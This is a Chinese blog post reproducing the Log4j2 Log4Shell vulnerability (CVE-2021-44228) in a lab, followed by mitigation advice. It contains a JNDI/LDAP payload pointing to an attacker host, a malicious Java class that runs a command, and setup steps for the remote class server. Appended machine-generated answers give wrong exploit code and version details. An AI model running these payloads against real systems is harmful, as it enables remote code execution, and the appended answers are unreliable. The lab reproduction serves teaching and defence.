Log4j2漏洞复现(CVE-2021-44228)

引言

        Apache Log4j是一个基于Java的日志记录组件,通过重写Log4j引入了丰富的功能特性,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。Apache Log4j2存在远程代码执行漏洞,攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。影响范围:Apache Log4j 2.x<=2.14.1。已知受影响的应用及组件,如 spring-boot-strater-log4j2 / Apache Solr / Apache Flink / Apache Druid等。漏洞编号为CNVD-2021-95919,CVE-2021-44228。

实验环境

虚拟机运行,Win10,Java版本8u.191,Log4j 2版本为2.12.1;

靶机ip 地址:192.168.142.129;攻击机ip 地址:192.168.142.130。

漏洞原理

触发漏洞的关键代码:

org.apache.logging.log4j.core.pattern.MessagePatternConverter类的format()方法发现日志中包含“${”就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。“${”可使用的关键词非常多,例如:${java:os}${hostName}${jndi:logging/context-name}等。

org.apache.logging.log4j.core.lookup.StrSubstitutor中提取参数并通过lookup进行内容替换,当日志在打印时遇到“${”后,Interpolator类以“:”号作为分割,将表达式内容分割成两部分,前面部分作为prefix,后面部分作为key。然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。

Jndi注入:

        目前网络上传播广泛的poc“${jndi:ldap://my-ip/exp}除了利用到log4j的递归解析,同样涉及到了jndi注入,所谓的JNDI注入就是当上文代码中jndi变量可控时引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。当这条语句被传入到log4j日志文件中,lookup会将jndi注入可执行语句执行,程序会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行从而达成漏洞利用目的。

漏洞大致利用流程:

第一步:向目标发送指定payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意 java class的地址。

第二步:目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令。

复现过程

 在靶机中新建一个Java工程,将apache log4j2.12.1的依赖包导入,在src文件夹下创建log4j2.xml文件,作为log4j的配置文件,用来控制输出格式。

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="CONSOLE" target="SYSTEM_OUT">
            <PatternLayout pattern="%d %-5p [%t] (%F:%L) - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>

在src文件下创建hack.java,模拟使用Log4j2框架的网站服务器程序。在网页中一般会有提交表单的输入框,当输入报错时,很可能会将输入框的内容通过logger进行输出,从而将输入框中的注入攻击语句直接作为参数传递给logger.error函数。

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Hack {
    private static final Logger logger = LogManager.getLogger(Hack.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
    }
}

在攻击机上创建一个恶意类Log4jRCE.java,这里存放我们将要通过服务器执行命令的代码,比如调出计算器,编译得到Log4jRCE.class,

import java.io.BufferedReader;    
import java.io.IOException;    
import java.io.InputStream;    
import java.io.InputStreamReader;    
   
public class Log4jRCE {    
    static {
        System.out.println("I am Log4jRCE from remote!!!");

        try {
            String [] cmd = {"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }    
        catch (IOException e) {    
             e.printStackTrace();
        }
     }    
}

启动python自带的http服务器,将Log4jRCE.class放在服务器根目录下,执行python语句“python -m http.server <post>”会创建一个简易的http服务器,服务器运行后会以当前命令运行目录作为http服务器根目录

下载反序列化工具marshalsec,在本地启动一个LDAP服务器, 

在靶机运行IntelliJ里的Hack.java模拟注入攻击提交表单,服务器端使用log4j2输出日志,在靶机中成功调用计算器程序

同时攻击机服务器界面中也有恶意类被下载执行的回显:

至此,Log4j2漏洞的复现就完成了。

修复建议

目前,Apache官方已发布新版本完成漏洞修复,建议及时升级至最新版本:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议同时采用如下临时措施进行漏洞防范:

1.添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true

2.在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

3.JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

4.部署使用第三方防火墙产品进行安全防护。

总结

      log4j组件在Java领域被广泛使用,该漏洞非常容易利用,可以执行任意代码属于重大威胁等级的漏洞,国内众多互联网公司也纷纷中招,log4j漏洞的影响范围之广,危害之大,堪称近几年之最。即使是这样的漏洞在历史也绝不罕见,未来也难保证不会再有,网络安全,任重而道远。

参考资料

https://mp.weixin.qq.com/s/V40zFaKhYK8wA5rg-DRaxA

https://zhuanlan.zhihu.com/p/443689489

https://mp.weixin.qq.com/s__biz=MzI5MDQ2NjExOQ==&mid=2247496255&idx=1&sn=acb66f2fd28859868892e028ac64d586&chksm=ec1dc217db6a4b018fd347ace7287631eaf31302f95fe9104b5413909a9d0092f256e484b53d&cur_album_id=1494421056474955779&scene=189#wechat_redirect

  • 13
    点赞
  • 61
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
### 回答1: Apache Log4j2漏洞是一种远程代码执行漏洞,攻击者可以利用该漏洞在受影响的服务器上执行任意代码。攻击者可以通过构造特定的请求,将恶意代码注入到受影响的服务器上,从而实现远程代码执行。该漏洞已被广泛利用,需要尽快修复。建议管理员及时更新受影响的软件版本,以保护服务器安全。 ### 回答2: 近日,全球多个国家的安全研究员纷纷发现一个Apache log4j2漏洞,该漏洞编号为CVE-2021-44228,危害严重。攻击者利用该漏洞可以远程执行恶意代码,入侵服务器、系统和网络,导致极大的信息泄露和系统瘫痪风险。本文将介绍如何在实验环境中进行漏洞复现。 1.环境准备 本次复现可以采用一个简单的demo工程,也可以用一些现有的著名开源项目(如Spring、Kafka)进行复现。这里以demo工程为例。 - 操作系统:Ubuntu 18.04.5 LTS - Java环境:JDK 1.8 - 工程环境:IntelliJ IDEA + Maven 2.漏洞安装 使用Maven构建demo工程,然后在pom.xml文件中加入log4j2依赖,可以使用找公用库的方式如下: ``` <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.16.0</version> </dependency> ``` 其中 version 指定在 这一足以管理员权势时 Apache 官方才刚刚修复的漏洞小版本。 3.漏洞验证 编写一个包含漏洞的代码,如下: ``` package cn.xfakir.demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Demo { private static final Logger logger = LogManager.getLogger(Demo.class); public static void main(String[] args) { String payload = "${java.lang.Runtime.getRuntime().exec('calc.exe')}"; logger.info(payload); } } ``` 该代码使用log4j2记录日志的方式,使用 ${} 语法引用payload变量的值,当payload变量的值包含恶意命令时,该漏洞即可成功利用,这里设为calc.exe运行计算器程序。 4.利用漏洞 构建好工程之后,启动demo,如果demo的启动方式是直接运行jar包,可以使用以下命令启动: ``` java -jar Demo-1.0-SNAPSHOT.jar ``` 在控制台看到 INFO 模式下的 ${java.lang.Runtime.getRuntime().exec('calc.exe')} 日志输出,则漏洞被成功利用。 5.修复漏洞 Apache官方已经发布了漏洞修复的版本,建议使用最新版本或对应的补丁,详见官方发布的修复安全公告。除此之外,也可以临时关闭log4j2的服务,防止被攻击。 以上是本文关于apache log4j2漏洞复现的介绍,漏洞的修复和预防对于互联网安全至关重要,希望大家及时更新代码和环境,确保系统网络安全。 ### 回答3: Apache log4j2是一种流行的Java日志框架,它可以通过配置和代码记录日志。但是,最近发现了一个名为CVE-2021-44228漏洞,攻击者可以利用该漏洞log4j2中执行任意代码,这是一种非常危险的攻击。 要复现这个漏洞,我们需要遵循以下步骤: 步骤1:下载log4j2的jar文件。可以从log4j官方网站或maven仓库上下载。 步骤2:使用PayloadsAllTheThings项目中提供的一些有效负载对log4j2进行测试。这些有效负载在此处提供https://github.com/cyberheartmi9/CVE-2021-44228。 步骤3:将有效负载复制到代码中。 步骤4:编写一个Java应用程序,用于建立与log4j2之间的连接,并执行有效负载。建议使用MinimalLocking.java,这个java应用程序将在本地服务器上启动log4j2。 步骤5:编译和运行您的Java应用程序。 步骤6:通过TCP端口和JMX控制台,发送构造的payload来攻击log4j2。 在实际操作中,攻击者可能会使用更高级的方法,例如尝试使用日志记录的数据来执行代码。例如,在Java虚拟机中注入Java类,然后在日志输出中使用类的实例。这种方法可能需要攻击者具备更深层次的Java知识。 为了保证系统的安全,建议及时升级log4j2到最新版本,并关注官方通告以了解有关漏洞的最新信息。同时,对于企业用户,建议强化安全性措施,对服务器进行监控和维护,以便及时发现和应对安全漏洞
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值